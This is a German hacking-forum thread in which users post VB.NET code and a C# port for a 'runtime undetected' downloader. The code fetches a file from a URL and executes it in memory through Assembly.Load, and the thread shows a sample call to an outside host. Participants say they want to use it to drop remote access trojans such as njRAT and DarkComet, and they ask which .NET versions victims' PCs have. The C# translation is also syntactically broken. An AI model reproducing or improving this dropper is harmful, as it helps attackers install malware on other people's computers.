10 replies to this topic

[most_uniQue]

Hey,
mal was für die Coder unter euch.
Hab hier 2 Subs, welche für einen Runtime undetected Downloader sein sollen.

    Imports System.Threading
    Imports System.Reflection
    Imports System.Net
	
    Public Sub DownloadExecute(ByVal url As String)
	  Dim c As New WebClient
	  Execute(c.DownloadData(url))
	    End Sub
	
	    Public Sub Execute(ByVal bytes As Byte())
	  Dim t As New Thread(AddressOf DoExecute)
	  t.TrySetApartmentState(ApartmentState.STA)
	  t.Start(bytes)
	    End Sub
	
	    Public Sub DoExecute(ByVal d As Byte())
	  If d(&H3C) = &H80 Then
	    Dim asm As Assembly = Assembly.Load(d)
	    Dim entryPoint As MethodInfo = asm.EntryPoint
	    Dim o As Object() = Nothing
	    If entryPoint.GetParameters().Length > 0 Then
	    o = New Object() {New String() {"1"}}
	    End If
	    entryPoint.Invoke(Nothing, o)
	    Application.Exit()
	  End If
	    End Sub
	
    'usage: DownloadExecute("http://missioncoders.info/file.exe")

Stimmt der Code so?

lg
most_uniQue

[Cube]

Is ne Runtime Möglichkeit ja.
Wird mit Invoke aufgerufen.
Allerdings dürfte dies nur für .Net Files gelten.

Grüße
Cube

[most_uniQue]

Naja also könnt ich im Prinzip damit nen Downloader erstellen, der halt den server von DC zb lädt? Ist ja VB, wenn ich mich nicht täusche.

[pdr0]

Es ist VB.NET, ich reich mal C# nach

Please Login HERE or Register HERE to see this link!

using System.Threading;
using System.Reflection;
using System.Net;

    
    public void DownloadExecute(string url) {
	    WebClient c = new WebClient();
	    Execute(c.DownloadData(url));
    }
    
    public void Execute(byte[] bytes) {
	    Thread t = new Thread(new System.EventHandler(this.DoExecute));
	    t.TrySetApartmentState(ApartmentState.STA);
	    t.Start(bytes);
    }
    
    public void DoExecute(byte[] d) {
	    if ((d(60) == 128)) {
		    object asm;
		    Load(d);
		    MethodInfo entryPoint = asm.EntryPoint;
		    object[] o = null;
		    if ((entryPoint.GetParameters().Length > 0)) {
			    o = new object[] {
					    new string[] {
							    "1"}};
		    }
		    entryPoint.Invoke(null, o);
		    Application.Exit();
	    }
    }

Edited by pdr0, 18 July 2014 - 13:41 Uhr.

[Cube]

Naja also könnt ich im Prinzip damit nen Downloader erstellen, der halt den server von DC zb lädt? Ist ja VB, wenn ich mich nicht täusche.

Darkcomet is written in Delphi.

[most_uniQue]

Darkcomet is written in Delphi.

Ich sage ja " Wenn ich micht nicht täusche "
Aber nJRat müsste dann ja gehen.

[Cube]

Ich sage ja " Wenn ich micht nicht täusche "
Aber nJRat müsste dann ja gehen.

Sollte klar gehn.
Dürfte in VB.net 2.0 geschrieben wordn sein.

[most_uniQue]

Weiß du auch zufüllig ob .Net 2 auf jedem PC Standart ist ?
Ich hab nichts verlässliches gefunden auf die schnelle.

[Smn]

Weiß du auch zufüllig ob .Net 2 auf jedem PC Standart ist ?
Ich hab nichts verlässliches gefunden auf die schnelle.

.Net Framework 2.0 ist soweit ich weiß ab Windows XP SP2 standard.

mfg

Edited by Smn, 18 July 2014 - 16:51 Uhr.

[pdr0]

Weiß jemand ob das nur für .NET Binaries geht oder kann es ausprobieren?

Assembly.Load will ja "nur" COFF (also PE

Please Login HERE or Register HERE to see this link!

).

Wenn es auch für native Binaries geht, sollte es auch mit DC gehen.

[Cube]

.Net Framework 2.0 ist soweit ich weiß ab Windows XP SP2 standart.

mfg

Das ist korrekt .
Und bitte StandarD und nicht StandarT

Weiß jemand ob das nur für .NET Binaries geht oder kann es ausprobieren?

Assembly.Load will ja "nur" COFF (also PE

Please Login HERE or Register HERE to see this link!

).

Wenn es auch für native Binaries geht, sollte es auch mit DC gehen.

Mag stimmen, allerdings selbst schon damit etwas handtiert und mir crashts die native Files immer.
Allerdings auch nur 3 selfcoded Sachen getestet.

Grüße